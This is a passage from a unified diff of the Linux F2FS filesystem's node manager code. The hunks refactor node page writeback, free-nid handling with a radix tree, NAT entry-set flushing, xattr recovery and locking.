(unlikely(f2fs_cp_error(sbi))) + goto redirty_out; - wait_on_page_writeback(page); + f2fs_wait_on_page_writeback(page, NODE); /* get old block addr of this node page */ nid = nid_of_node(page); - BUG_ON(page->index != nid); + f2fs_bug_on(sbi, page->index != nid); + + if (wbc->for_reclaim) { + if (!down_read_trylock(&sbi->node_write)) + goto redirty_out; + } else { + down_read(&sbi->node_write); + } get_node_info(sbi, nid, &ni); /* This page is already truncated */ - if (ni.blk_addr == NULL_ADDR) { + if (unlikely(ni.blk_addr == NULL_ADDR)) { + ClearPageUptodate(page); dec_page_count(sbi, F2FS_DIRTY_NODES); + up_read(&sbi->node_write); unlock_page(page); return 0; } - if (wbc->for_reclaim) { - dec_page_count(sbi, F2FS_DIRTY_NODES); - wbc->pages_skipped++; - set_page_dirty(page); - return AOP_WRITEPAGE_ACTIVATE; - } - - mutex_lock(&sbi->node_write); set_page_writeback(page); - write_node_page(sbi, page, nid, ni.blk_addr, &new_addr); - set_node_addr(sbi, &ni, new_addr); + fio.blk_addr = ni.blk_addr; + write_node_page(nid, &fio); + set_node_addr(sbi, &ni, fio.blk_addr, is_fsync_dnode(page)); dec_page_count(sbi, F2FS_DIRTY_NODES); - mutex_unlock(&sbi->node_write); + up_read(&sbi->node_write); unlock_page(page); + + if (wbc->for_reclaim) + f2fs_submit_merged_bio(sbi, NODE, WRITE); + return 0; + +redirty_out: + redirty_page_for_writepage(wbc, page); + return AOP_WRITEPAGE_ACTIVATE; } -/* - * It is very important to gather dirty pages and write at once, so that we can - * submit a big bio without interfering other data writes. - * Be default, 512 pages (2MB), a segment size, is quite reasonable. - */ -#define COLLECT_DIRTY_NODES 512 static int f2fs_write_node_pages(struct address_space *mapping, struct writeback_control *wbc) { - struct f2fs_sb_info *sbi = F2FS_SB(mapping->host->i_sb); - long nr_to_write = wbc->nr_to_write; + struct f2fs_sb_info *sbi = F2FS_M_SB(mapping); + long diff; - /* First check balancing cached NAT entries */ - if (try_to_free_nats(sbi, NAT_ENTRY_PER_BLOCK)) { - f2fs_sync_fs(sbi->sb, true); - return 0; - } + trace_f2fs_writepages(mapping->host, wbc, NODE); + + /* balancing f2fs's metadata in background */ + f2fs_balance_fs_bg(sbi); /* collect a number of dirty node pages and write together */ - if (get_pages(sbi, F2FS_DIRTY_NODES) < COLLECT_DIRTY_NODES) - return 0; + if (get_pages(sbi, F2FS_DIRTY_NODES) < nr_pages_to_skip(sbi, NODE)) + goto skip_write; - /* if mounting is failed, skip writing node pages */ - wbc->nr_to_write = max_hw_blocks(sbi); + diff = nr_pages_to_write(sbi, NODE, wbc); + wbc->sync_mode = WB_SYNC_NONE; sync_node_pages(sbi, 0, wbc); - wbc->nr_to_write = nr_to_write - (max_hw_blocks(sbi) - wbc->nr_to_write); + wbc->nr_to_write = max((long)0, wbc->nr_to_write - diff); + return 0; + +skip_write: + wbc->pages_skipped += get_pages(sbi, F2FS_DIRTY_NODES); return 0; } static int f2fs_set_node_page_dirty(struct page *page) { - struct address_space *mapping = page->mapping; - struct f2fs_sb_info *sbi = F2FS_SB(mapping->host->i_sb); + trace_f2fs_set_page_dirty(page, NODE); SetPageUptodate(page); if (!PageDirty(page)) { __set_page_dirty_nobuffers(page); - inc_page_count(sbi, F2FS_DIRTY_NODES); + inc_page_count(F2FS_P_SB(page), F2FS_DIRTY_NODES); SetPagePrivate(page); + f2fs_trace_pid(page); return 1; } return 0; } -static void f2fs_invalidate_node_page(struct page *page, unsigned long offset) -{ - struct inode *inode = page->mapping->host; - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - if (PageDirty(page)) - dec_page_count(sbi, F2FS_DIRTY_NODES); - ClearPagePrivate(page); -} - -static int f2fs_release_node_page(struct page *page, gfp_t wait) -{ - ClearPagePrivate(page); - return 1; -} - /* * Structure of the f2fs node operations */ @@ -1227,88 +1409,95 @@ const struct address_space_operations f2fs_node_aops = { .writepage = f2fs_write_node_page, .writepages = f2fs_write_node_pages, .set_page_dirty = f2fs_set_node_page_dirty, - .invalidatepage = f2fs_invalidate_node_page, - .releasepage = f2fs_release_node_page, + .invalidatepage = f2fs_invalidate_page, + .releasepage = f2fs_release_page, }; -static struct free_nid *__lookup_free_nid_list(nid_t n, struct list_head *head) +static struct free_nid *__lookup_free_nid_list(struct f2fs_nm_info *nm_i, + nid_t n) { - struct list_head *this; - struct free_nid *i; - list_for_each(this, head) { - i = list_entry(this, struct free_nid, list); - if (i->nid == n) - return i; - } - return NULL; + return radix_tree_lookup(&nm_i->free_nid_root, n); } -static void __del_from_free_nid_list(struct free_nid *i) +static void __del_from_free_nid_list(struct f2fs_nm_info *nm_i, + struct free_nid *i) { list_del(&i->list); - kmem_cache_free(free_nid_slab, i); + radix_tree_delete(&nm_i->free_nid_root, i->nid); } -static int add_free_nid(struct f2fs_nm_info *nm_i, nid_t nid, bool build) +static int add_free_nid(struct f2fs_sb_info *sbi, nid_t nid, bool build) { + struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *i; struct nat_entry *ne; bool allocated = false; - if (nm_i->fcnt > 2 * MAX_FREE_NIDS) + if (!available_free_memory(sbi, FREE_NIDS)) return -1; /* 0 nid should not be used */ - if (nid == 0) + if (unlikely(nid == 0)) return 0; - if (!build) - goto retry; - - /* do not add allocated nids */ - read_lock(&nm_i->nat_tree_lock); - ne = __lookup_nat_cache(nm_i, nid); - if (ne && nat_get_blkaddr(ne) != NULL_ADDR) - allocated = true; - read_unlock(&nm_i->nat_tree_lock); - if (allocated) - return 0; -retry: - i = kmem_cache_alloc(free_nid_slab, GFP_NOFS); - if (!i) { - cond_resched(); - goto retry; + if (build) { + /* do not add allocated nids */ + down_read(&nm_i->nat_tree_lock); + ne = __lookup_nat_cache(nm_i, nid); + if (ne && + (!get_nat_flag(ne, IS_CHECKPOINTED) || + nat_get_blkaddr(ne) != NULL_ADDR)) + allocated = true; + up_read(&nm_i->nat_tree_lock); + if (allocated) + return 0; } + + i = f2fs_kmem_cache_alloc(free_nid_slab, GFP_NOFS); i->nid = nid; i->state = NID_NEW; + if (radix_tree_preload(GFP_NOFS)) { + kmem_cache_free(free_nid_slab, i); + return 0; + } + spin_lock(&nm_i->free_nid_list_lock); - if (__lookup_free_nid_list(nid, &nm_i->free_nid_list)) { + if (radix_tree_insert(&nm_i->free_nid_root, i->nid, i)) { spin_unlock(&nm_i->free_nid_list_lock); + radix_tree_preload_end(); kmem_cache_free(free_nid_slab, i); return 0; } list_add_tail(&i->list, &nm_i->free_nid_list); nm_i->fcnt++; spin_unlock(&nm_i->free_nid_list_lock); + radix_tree_preload_end(); return 1; } static void remove_free_nid(struct f2fs_nm_info *nm_i, nid_t nid) { struct free_nid *i; + bool need_free = false; + spin_lock(&nm_i->free_nid_list_lock); - i = __lookup_free_nid_list(nid, &nm_i->free_nid_list); + i = __lookup_free_nid_list(nm_i, nid); if (i && i->state == NID_NEW) { - __del_from_free_nid_list(i); + __del_from_free_nid_list(nm_i, i); nm_i->fcnt--; + need_free = true; } spin_unlock(&nm_i->free_nid_list_lock); + + if (need_free) + kmem_cache_free(free_nid_slab, i); } -static void scan_nat_page(struct f2fs_nm_info *nm_i, +static void scan_nat_page(struct f2fs_sb_info *sbi, struct page *nat_page, nid_t start_nid) { + struct f2fs_nm_info *nm_i = NM_I(sbi); struct f2fs_nat_block *nat_blk = page_address(nat_page); block_t blk_addr; int i; @@ -1317,13 +1506,13 @@ static void scan_nat_page(struct f2fs_nm_info *nm_i, for (; i < NAT_ENTRY_PER_BLOCK; i++, start_nid++) { - if (start_nid >= nm_i->max_nid) + if (unlikely(start_nid >= nm_i->max_nid)) break; blk_addr = le32_to_cpu(nat_blk->entries[i].block_addr); - BUG_ON(blk_addr == NEW_ADDR); + f2fs_bug_on(sbi, blk_addr == NEW_ADDR); if (blk_addr == NULL_ADDR) { - if (add_free_nid(nm_i, start_nid, true) < 0) + if (add_free_nid(sbi, start_nid, true) < 0) break; } } @@ -1342,19 +1531,20 @@ static void build_free_nids(struct f2fs_sb_info *sbi) return; /* readahead nat pages to be scanned */ - ra_nat_pages(sbi, nid); + ra_meta_pages(sbi, NAT_BLOCK_OFFSET(nid), FREE_NID_PAGES, + META_NAT, true); while (1) { struct page *page = get_current_nat_page(sbi, nid); - scan_nat_page(nm_i, page, nid); + scan_nat_page(sbi, page, nid); f2fs_put_page(page, 1); nid += (NAT_ENTRY_PER_BLOCK - (nid % NAT_ENTRY_PER_BLOCK)); - if (nid >= nm_i->max_nid) + if (unlikely(nid >= nm_i->max_nid)) nid = 0; - if (i++ == FREE_NID_PAGES) + if (++i >= FREE_NID_PAGES) break; } @@ -1367,11 +1557,14 @@ static void build_free_nids(struct f2fs_sb_info *sbi) block_t addr = le32_to_cpu(nat_in_journal(sum, i).block_addr); nid = le32_to_cpu(nid_in_journal(sum, i)); if (addr == NULL_ADDR) - add_free_nid(nm_i, nid, true); + add_free_nid(sbi, nid, true); else remove_free_nid(nm_i, nid); } mutex_unlock(&curseg->curseg_mutex); + + ra_meta_pages(sbi, NAT_BLOCK_OFFSET(nm_i->next_scan_nid), + nm_i->ra_nid_pages, META_NAT, false); } /* @@ -1383,36 +1576,40 @@ bool alloc_nid(struct f2fs_sb_info *sbi, nid_t *nid) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *i = NULL; - struct list_head *this; retry: - if (sbi->total_valid_node_count + 1 >= nm_i->max_nid) + if (unlikely(sbi->total_valid_node_count + 1 > nm_i->available_nids)) return false; spin_lock(&nm_i->free_nid_list_lock); /* We should not use stale free nids created by build_free_nids */ - if (nm_i->fcnt && !sbi->on_build_free_nids) { - BUG_ON(list_empty(&nm_i->free_nid_list)); - list_for_each(this, &nm_i->free_nid_list) { - i = list_entry(this, struct free_nid, list); + if (nm_i->fcnt && !on_build_free_nids(nm_i)) { + struct node_info ni; + + f2fs_bug_on(sbi, list_empty(&nm_i->free_nid_list)); + list_for_each_entry(i, &nm_i->free_nid_list, list) if (i->state == NID_NEW) break; - } - BUG_ON(i->state != NID_NEW); + f2fs_bug_on(sbi, i->state != NID_NEW); *nid = i->nid; i->state = NID_ALLOC; nm_i->fcnt--; spin_unlock(&nm_i->free_nid_list_lock); + + /* check nid is allocated already */ + get_node_info(sbi, *nid, &ni); + if (ni.blk_addr != NULL_ADDR) { + alloc_nid_done(sbi, *nid); + goto retry; + } return true; } spin_unlock(&nm_i->free_nid_list_lock); /* Let's scan nat pages and its caches to get free nids */ mutex_lock(&nm_i->build_lock); - sbi->on_build_free_nids = 1; build_free_nids(sbi); - sbi->on_build_free_nids = 0; mutex_unlock(&nm_i->build_lock); goto retry; } @@ -1426,10 +1623,12 @@ void alloc_nid_done(struct f2fs_sb_info *sbi, nid_t nid) struct free_nid *i; spin_lock(&nm_i->free_nid_list_lock); - i = __lookup_free_nid_list(nid, &nm_i->free_nid_list); - BUG_ON(!i || i->state != NID_ALLOC); - __del_from_free_nid_list(i); + i = __lookup_free_nid_list(nm_i, nid); + f2fs_bug_on(sbi, !i || i->state != NID_ALLOC); + __del_from_free_nid_list(nm_i, i); spin_unlock(&nm_i->free_nid_list_lock); + + kmem_cache_free(free_nid_slab, i); } /* @@ -1439,62 +1638,156 @@ void alloc_nid_failed(struct f2fs_sb_info *sbi, nid_t nid) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *i; + bool need_free = false; + + if (!nid) + return; spin_lock(&nm_i->free_nid_list_lock); - i = __lookup_free_nid_list(nid, &nm_i->free_nid_list); - BUG_ON(!i || i->state != NID_ALLOC); - if (nm_i->fcnt > 2 * MAX_FREE_NIDS) { - __del_from_free_nid_list(i); + i = __lookup_free_nid_list(nm_i, nid); + f2fs_bug_on(sbi, !i || i->state != NID_ALLOC); + if (!available_free_memory(sbi, FREE_NIDS)) { + __del_from_free_nid_list(nm_i, i); + need_free = true; } else { i->state = NID_NEW; nm_i->fcnt++; } spin_unlock(&nm_i->free_nid_list_lock); + + if (need_free) + kmem_cache_free(free_nid_slab, i); } -void recover_node_page(struct f2fs_sb_info *sbi, struct page *page, - struct f2fs_summary *sum, struct node_info *ni, - block_t new_blkaddr) +int try_to_free_nids(struct f2fs_sb_info *sbi, int nr_shrink) { - rewrite_node_page(sbi, page, sum, ni->blk_addr, new_blkaddr); - set_node_addr(sbi, ni, new_blkaddr); - clear_node_page_dirty(page); + struct f2fs_nm_info *nm_i = NM_I(sbi); + struct free_nid *i, *next; + int nr = nr_shrink; + + if (!mutex_trylock(&nm_i->build_lock)) + return 0; + + spin_lock(&nm_i->free_nid_list_lock); + list_for_each_entry_safe(i, next, &nm_i->free_nid_list, list) { + if (nr_shrink <= 0 || nm_i->fcnt <= NAT_ENTRY_PER_BLOCK) + break; + if (i->state == NID_ALLOC) + continue; + __del_from_free_nid_list(nm_i, i); + kmem_cache_free(free_nid_slab, i); + nm_i->fcnt--; + nr_shrink--; + } + spin_unlock(&nm_i->free_nid_list_lock); + mutex_unlock(&nm_i->build_lock); + + return nr - nr_shrink; +} + +void recover_inline_xattr(struct inode *inode, struct page *page) +{ + void *src_addr, *dst_addr; + size_t inline_size; + struct page *ipage; + struct f2fs_inode *ri; + + ipage = get_node_page(F2FS_I_SB(inode), inode->i_ino); + f2fs_bug_on(F2FS_I_SB(inode), IS_ERR(ipage)); + + ri = F2FS_INODE(page); + if (!(ri->i_inline & F2FS_INLINE_XATTR)) { + clear_inode_flag(F2FS_I(inode), FI_INLINE_XATTR); + goto update_inode; + } + + dst_addr = inline_xattr_addr(ipage); + src_addr = inline_xattr_addr(page); + inline_size = inline_xattr_size(inode); + + f2fs_wait_on_page_writeback(ipage, NODE); + memcpy(dst_addr, src_addr, inline_size); +update_inode: + update_inode(inode, ipage); + f2fs_put_page(ipage, 1); +} + +void recover_xattr_data(struct inode *inode, struct page *page, block_t blkaddr) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + nid_t prev_xnid = F2FS_I(inode)->i_xattr_nid; + nid_t new_xnid = nid_of_node(page); + struct node_info ni; + + /* 1: invalidate the previous xattr nid */ + if (!prev_xnid) + goto recover_xnid; + + /* Deallocate node address */ + get_node_info(sbi, prev_xnid, &ni); + f2fs_bug_on(sbi, ni.blk_addr == NULL_ADDR); + invalidate_blocks(sbi, ni.blk_addr); + dec_valid_node_count(sbi, inode); + set_node_addr(sbi, &ni, NULL_ADDR, false); + +recover_xnid: + /* 2: allocate new xattr nid */ + if (unlikely(!inc_valid_node_count(sbi, inode))) + f2fs_bug_on(sbi, 1); + + remove_free_nid(NM_I(sbi), new_xnid); + get_node_info(sbi, new_xnid, &ni); + ni.ino = inode->i_ino; + set_node_addr(sbi, &ni, NEW_ADDR, false); + F2FS_I(inode)->i_xattr_nid = new_xnid; + + /* 3: update xattr blkaddr */ + refresh_sit_entry(sbi, NEW_ADDR, blkaddr); + set_node_addr(sbi, &ni, blkaddr, false); + + update_inode_page(inode); } int recover_inode_page(struct f2fs_sb_info *sbi, struct page *page) { - struct address_space *mapping = sbi->node_inode->i_mapping; - struct f2fs_node *src, *dst; + struct f2fs_inode *src, *dst; nid_t ino = ino_of_node(page); struct node_info old_ni, new_ni; struct page *ipage; - ipage = grab_cache_page(mapping, ino); + get_node_info(sbi, ino, &old_ni); + + if (unlikely(old_ni.blk_addr != NULL_ADDR)) + return -EINVAL; + + ipage = grab_cache_page(NODE_MAPPING(sbi), ino); if (!ipage) return -ENOMEM; - /* Should not use this inode from free nid list */ + /* Should not use this inode from free nid list */ remove_free_nid(NM_I(sbi), ino); - get_node_info(sbi, ino, &old_ni); SetPageUptodate(ipage); fill_node_footer(ipage, ino, ino, 0, true); - src = (struct f2fs_node *)page_address(page); - dst = (struct f2fs_node *)page_address(ipage); + src = F2FS_INODE(page); + dst = F2FS_INODE(ipage); - memcpy(dst, src, (unsigned long)&src->i.i_ext - (unsigned long)&src->i); - dst->i.i_size = 0; - dst->i.i_blocks = cpu_to_le64(1); - dst->i.i_links = cpu_to_le32(1); - dst->i.i_xattr_nid = 0; + memcpy(dst, src, (unsigned long)&src->i_ext - (unsigned long)src); + dst->i_size = 0; + dst->i_blocks = cpu_to_le64(1); + dst->i_links = cpu_to_le32(1); + dst->i_xattr_nid = 0; + dst->i_inline = src->i_inline & F2FS_INLINE_XATTR; new_ni = old_ni; new_ni.ino = ino; - set_node_addr(sbi, &new_ni, NEW_ADDR); + if (unlikely(!inc_valid_node_count(sbi, NULL))) + WARN_ON(1); + set_node_addr(sbi, &new_ni, NEW_ADDR, false); inc_valid_inode_count(sbi); - + set_page_dirty(ipage); f2fs_put_page(ipage, 1); return 0; } @@ -1504,45 +1797,39 @@ int restore_node_summary(struct f2fs_sb_info *sbi, { struct f2fs_node *rn; struct f2fs_summary *sum_entry; - struct page *page; block_t addr; - int i, last_offset; - - /* alloc temporal page for read node */ - page = alloc_page(GFP_NOFS | __GFP_ZERO); - if (IS_ERR(page)) - return PTR_ERR(page); - lock_page(page); + int bio_blocks = MAX_BIO_BLOCKS(sbi); + int i, idx, last_offset, nrpages; /* scan the node segment */ last_offset = sbi->blocks_per_seg; addr = START_BLOCK(sbi, segno); sum_entry = &sum->entries[0]; - for (i = 0; i < last_offset; i++, sum_entry++) { - /* - * In order to read next node page, - * we must clear PageUptodate flag. - */ - ClearPageUptodate(page); + for (i = 0; i < last_offset; i += nrpages, addr += nrpages) { + nrpages = min(last_offset - i, bio_blocks); - if (f2fs_readpage(sbi, page, addr, READ_SYNC)) - goto out; + /* readahead node pages */ + ra_meta_pages(sbi, addr, nrpages, META_POR, true); - lock_page(page); - rn = (struct f2fs_node *)page_address(page); - sum_entry->nid = rn->footer.nid; - sum_entry->version = 0; - sum_entry->ofs_in_node = 0; - addr++; + for (idx = addr; idx < addr + nrpages; idx++) { + struct page *page = get_tmp_page(sbi, idx); + + rn = F2FS_NODE(page); + sum_entry->nid = rn->footer.nid; + sum_entry->version = 0; + sum_entry->ofs_in_node = 0; + sum_entry++; + f2fs_put_page(page, 1); + } + + invalidate_mapping_pages(META_MAPPING(sbi), addr, + addr + nrpages); } - unlock_page(page); -out: - __free_pages(page, 0); return 0; } -static bool flush_nats_in_journal(struct f2fs_sb_info *sbi) +static void remove_nats_in_journal(struct f2fs_sb_info *sbi) { struct f2fs_nm_info *nm_i = NM_I(sbi); struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_HOT_DATA); @@ -1550,134 +1837,154 @@ static bool flush_nats_in_journal(struct f2fs_sb_info *sbi) int i; mutex_lock(&curseg->curseg_mutex); - - if (nats_in_cursum(sum) < NAT_JOURNAL_ENTRIES) { - mutex_unlock(&curseg->curseg_mutex); - return false; - } - for (i = 0; i < nats_in_cursum(sum); i++) { struct nat_entry *ne; struct f2fs_nat_entry raw_ne; nid_t nid = le32_to_cpu(nid_in_journal(sum, i)); raw_ne = nat_in_journal(sum, i); -retry: - write_lock(&nm_i->nat_tree_lock); + + down_write(&nm_i->nat_tree_lock); ne = __lookup_nat_cache(nm_i, nid); - if (ne) { - __set_nat_cache_dirty(nm_i, ne); - write_unlock(&nm_i->nat_tree_lock); - continue; - } - ne = grab_nat_entry(nm_i, nid); if (!ne) { - write_unlock(&nm_i->nat_tree_lock); - goto retry; + ne = grab_nat_entry(nm_i, nid); + node_info_from_raw_nat(&ne->ni, &raw_ne); } - nat_set_blkaddr(ne, le32_to_cpu(raw_ne.block_addr)); - nat_set_ino(ne, le32_to_cpu(raw_ne.ino)); - nat_set_version(ne, raw_ne.version); __set_nat_cache_dirty(nm_i, ne); - write_unlock(&nm_i->nat_tree_lock); + up_write(&nm_i->nat_tree_lock); } update_nats_in_cursum(sum, -i); mutex_unlock(&curseg->curseg_mutex); - return true; } -/* - * This function is called during the checkpointing process. - */ -void flush_nat_entries(struct f2fs_sb_info *sbi) +static void __adjust_nat_entry_set(struct nat_entry_set *nes, + struct list_head *head, int max) +{ + struct nat_entry_set *cur; + + if (nes->entry_cnt >= max) + goto add_out; + + list_for_each_entry(cur, head, set_list) { + if (cur->entry_cnt >= nes->entry_cnt) { + list_add(&nes->set_list, cur->set_list.prev); + return; + } + } +add_out: + list_add_tail(&nes->set_list, head); +} + +static void __flush_nat_entry_set(struct f2fs_sb_info *sbi, + struct nat_entry_set *set) { - struct f2fs_nm_info *nm_i = NM_I(sbi); struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_HOT_DATA); struct f2fs_summary_block *sum = curseg->sum_blk; - struct list_head *cur, *n; + nid_t start_nid = set->set * NAT_ENTRY_PER_BLOCK; + bool to_journal = true; + struct f2fs_nat_block *nat_blk; + struct nat_entry *ne, *cur; struct page *page = NULL; - struct f2fs_nat_block *nat_blk = NULL; - nid_t start_nid = 0, end_nid = 0; - bool flushed; + struct f2fs_nm_info *nm_i = NM_I(sbi); - flushed = flush_nats_in_journal(sbi); + /* + * there are two steps to flush nat entries: + * #1, flush nat entries to journal in current hot data summary block. + * #2, flush nat entries to nat page. + */ + if (!__has_cursum_space(sum, set->entry_cnt, NAT_JOURNAL)) + to_journal = false; - if (!flushed) + if (to_journal) { mutex_lock(&curseg->curseg_mutex); + } else { + page = get_next_nat_page(sbi, start_nid); + nat_blk = page_address(page); + f2fs_bug_on(sbi, !nat_blk); + } - /* 1) flush dirty nat caches */ - list_for_each_safe(cur, n, &nm_i->dirty_nat_entries) { - struct nat_entry *ne; - nid_t nid; - struct f2fs_nat_entry raw_ne; - int offset = -1; - block_t new_blkaddr; - - ne = list_entry(cur, struct nat_entry, list); - nid = nat_get_nid(ne); + /* flush dirty nats in nat entry set */ + list_for_each_entry_safe(ne, cur, &set->entry_list, list) { + struct f2fs_nat_entry *raw_ne; + nid_t nid = nat_get_nid(ne); + int offset; if (nat_get_blkaddr(ne) == NEW_ADDR) continue; - if (flushed) - goto to_nat_page; - - /* if there is room for nat enries in curseg->sumpage */ - offset = lookup_journal_in_cursum(sum, NAT_JOURNAL, nid, 1); - if (offset >= 0) { - raw_ne = nat_in_journal(sum, offset); - goto flush_now; - } -to_nat_page: - if (!page || (start_nid > nid || nid > end_nid)) { - if (page) { - f2fs_put_page(page, 1); - page = NULL; - } - start_nid = START_NID(nid); - end_nid = start_nid + NAT_ENTRY_PER_BLOCK - 1; - /* - * get nat block with dirty flag, increased reference - * count, mapped and lock - */ - page = get_next_nat_page(sbi, start_nid); - nat_blk = page_address(page); + if (to_journal) { + offset = lookup_journal_in_cursum(sum, + NAT_JOURNAL, nid, 1); + f2fs_bug_on(sbi, offset < 0); + raw_ne = &nat_in_journal(sum, offset); + nid_in_journal(sum, offset) = cpu_to_le32(nid); + } else { + raw_ne = &nat_blk->entries[nid - start_nid]; } + raw_nat_from_node_info(raw_ne, &ne->ni); - BUG_ON(!nat_blk); - raw_ne = nat_blk->entries[nid - start_nid]; -flush_now: - new_blkaddr = nat_get_blkaddr(ne); + down_write(&NM_I(sbi)->nat_tree_lock); + nat_reset_flag(ne); + __clear_nat_cache_dirty(NM_I(sbi), ne); + up_write(&NM_I(sbi)->nat_tree_lock); - raw_ne.ino = cpu_to_le32(nat_get_ino(ne)); - raw_ne.block_addr = cpu_to_le32(new_blkaddr); - raw_ne.version = nat_get_version(ne); + if (nat_get_blkaddr(ne) == NULL_ADDR) + add_free_nid(sbi, nid, false); + } - if (offset < 0) { - nat_blk->entries[nid - start_nid] = raw_ne; - } else { - nat_in_journal(sum, offset) = raw_ne; - nid_in_journal(sum, offset) = cpu_to_le32(nid); - } + if (to_journal) + mutex_unlock(&curseg->curseg_mutex); + else + f2fs_put_page(page, 1); - if (nat_get_blkaddr(ne) == NULL_ADDR && - add_free_nid(NM_I(sbi), nid, false) <= 0) { - write_lock(&nm_i->nat_tree_lock); - __del_from_nat_cache(nm_i, ne); - write_unlock(&nm_i->nat_tree_lock); - } else { - write_lock(&nm_i->nat_tree_lock); - __clear_nat_cache_dirty(nm_i, ne); - ne->checkpointed = true; - write_unlock(&nm_i->nat_tree_lock); - } + f2fs_bug_on(sbi, set->entry_cnt); + + down_write(&nm_i->nat_tree_lock); + radix_tree_delete(&NM_I(sbi)->nat_set_root, set->set); + up_write(&nm_i->nat_tree_lock); + kmem_cache_free(nat_entry_set_slab, set); +} + +/* + * This function is called during the checkpointing process. + */ +void flush_nat_entries(struct f2fs_sb_info *sbi) +{ + struct f2fs_nm_info *nm_i = NM_I(sbi); + struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_HOT_DATA); + struct f2fs_summary_block *sum = curseg->sum_blk; + struct nat_entry_set *setvec[SETVEC_SIZE]; + struct nat_entry_set *set, *tmp; + unsigned int found; + nid_t set_idx = 0; + LIST_HEAD(sets); + + if (!nm_i->dirty_nat_cnt) + return; + /* + * if there are no enough space in journal to store dirty nat + * entries, remove all entries from journal and merge them + * into nat entry set. + */ + if (!__has_cursum_space(sum, nm_i->dirty_nat_cnt, NAT_JOURNAL)) + remove_nats_in_journal(sbi); + + down_write(&nm_i->nat_tree_lock); + while ((found = __gang_lookup_nat_set(nm_i, + set_idx, SETVEC_SIZE, setvec))) { + unsigned idx; + set_idx = setvec[found - 1]->set + 1; + for (idx = 0; idx < found; idx++) + __adjust_nat_entry_set(setvec[idx], &sets, + MAX_NAT_JENTRIES(sum)); } - if (!flushed) - mutex_unlock(&curseg->curseg_mutex); - f2fs_put_page(page, 1); + up_write(&nm_i->nat_tree_lock); + + /* flush dirty nats in nat entry set */ + list_for_each_entry_safe(set, tmp, &sets, set_list) + __flush_nat_entry_set(sbi, set); - /* 2) shrink nat caches if necessary */ - try_to_free_nats(sbi, nm_i->nat_cnt - NM_WOUT_THRESHOLD); + f2fs_bug_on(sbi, nm_i->dirty_nat_cnt); } static int init_node_manager(struct f2fs_sb_info *sbi) @@ -1692,18 +1999,25 @@ static int init_node_manager(struct f2fs_sb_info *sbi) /* segment_count_nat includes pair segment so divide to 2. */ nat_segs = le32_to_cpu(sb_raw->segment_count_nat) >> 1; nat_blocks = nat_segs << le32_to_cpu(sb_raw->log_blocks_per_seg); + nm_i->max_nid = NAT_ENTRY_PER_BLOCK * nat_blocks; + + /* not used nids: 0, node, meta, (and root counted as valid node) */ + nm_i->available_nids = nm_i->max_nid - F2FS_RESERVED_NODE_NUM; nm_i->fcnt = 0; nm_i->nat_cnt = 0; + nm_i->ram_thresh = DEF_RAM_THRESHOLD; + nm_i->ra_nid_pages = DEF_RA_NID_PAGES; + INIT_RADIX_TREE(&nm_i->free_nid_root, GFP_ATOMIC); INIT_LIST_HEAD(&nm_i->free_nid_list); - INIT_RADIX_TREE(&nm_i->nat_root, GFP_ATOMIC); + INIT_RADIX_TREE(&nm_i->nat_root, GFP_NOIO); + INIT_RADIX_TREE(&nm_i->nat_set_root, GFP_NOIO); INIT_LIST_HEAD(&nm_i->nat_entries); - INIT_LIST_HEAD(&nm_i->dirty_nat_entries); mutex_init(&nm_i->build_lock); spin_lock_init(&nm_i->free_nid_list_lock); - rwlock_init(&nm_i->nat_tree_lock); + init_rwsem(&nm_i->nat_tree_lock); nm_i->next_scan_nid = le32_to_cpu(sbi->ckpt->next_free_nid); nm_i->bitmap_size = __bitmap_size(sbi, NAT_BITMAP); @@ -1739,6 +2053,7 @@ void destroy_node_manager(struct f2fs_sb_info *sbi) struct f2fs_nm_info *nm_i = NM_I(sbi); struct free_nid *i, *next_i; struct nat_entry *natvec[NATVEC_SIZE]; + struct nat_entry_set *setvec[SETVEC_SIZE]; nid_t nid = 0; unsigned int found; @@ -1748,26 +2063,43 @@ void destroy_node_manager(struct f2fs_sb_info *sbi) /* destroy free nid list */ spin_lock(&nm_i->free_nid_list_lock); list_for_each_entry_safe(i, next_i, &nm_i->free_nid_list, list) { - BUG_ON(i->state == NID_ALLOC); - __del_from_free_nid_list(i); + f2fs_bug_on(sbi, i->state == NID_ALLOC); + __del_from_free_nid_list(nm_i, i); nm_i->fcnt--; + spin_unlock(&nm_i->free_nid_list_lock); + kmem_cache_free(free_nid_slab, i); + spin_lock(&nm_i->free_nid_list_lock); } - BUG_ON(nm_i->fcnt); + f2fs_bug_on(sbi, nm_i->fcnt); spin_unlock(&nm_i->free_nid_list_lock); /* destroy nat cache */ - write_lock(&nm_i->nat_tree_lock); + down_write(&nm_i->nat_tree_lock); while ((found = __gang_lookup_nat_cache(nm_i, nid, NATVEC_SIZE, natvec))) { unsigned idx; + + nid = nat_get_nid(natvec[found - 1]) + 1; + for (idx = 0; idx < found; idx++) + __del_from_nat_cache(nm_i, natvec[idx]); + } + f2fs_bug_on(sbi, nm_i->nat_cnt); + + /* destroy nat set cache */ + nid = 0; + while ((found = __gang_lookup_nat_set(nm_i, + nid, SETVEC_SIZE, setvec))) { + unsigned idx; + + nid = setvec[found - 1]->set + 1; for (idx = 0; idx < found; idx++) { - struct nat_entry *e = natvec[idx]; - nid = nat_get_nid(e) + 1; - __del_from_nat_cache(nm_i, e); + /* entry_cnt is not zero, when cp_error was occurred */ + f2fs_bug_on(sbi, !list_empty(&setvec[idx]->entry_list)); + radix_tree_delete(&nm_i->nat_set_root, setvec[idx]->set); + kmem_cache_free(nat_entry_set_slab, setvec[idx]); } } - BUG_ON(nm_i->nat_cnt); - write_unlock(&nm_i->nat_tree_lock); + up_write(&nm_i->nat_tree_lock); kfree(nm_i->nat_bitmap); sbi->nm_info = NULL; @@ -1777,21 +2109,32 @@ void destroy_node_manager(struct f2fs_sb_info *sbi) int __init create_node_manager_caches(void) { nat_entry_slab = f2fs_kmem_cache_create("nat_entry", - sizeof(struct nat_entry), NULL); + sizeof(struct nat_entry)); if (!nat_entry_slab) - return -ENOMEM; + goto fail; free_nid_slab = f2fs_kmem_cache_create("free_nid", - sizeof(struct free_nid), NULL); - if (!free_nid_slab) { - kmem_cache_destroy(nat_entry_slab); - return -ENOMEM; - } + sizeof(struct free_nid)); + if 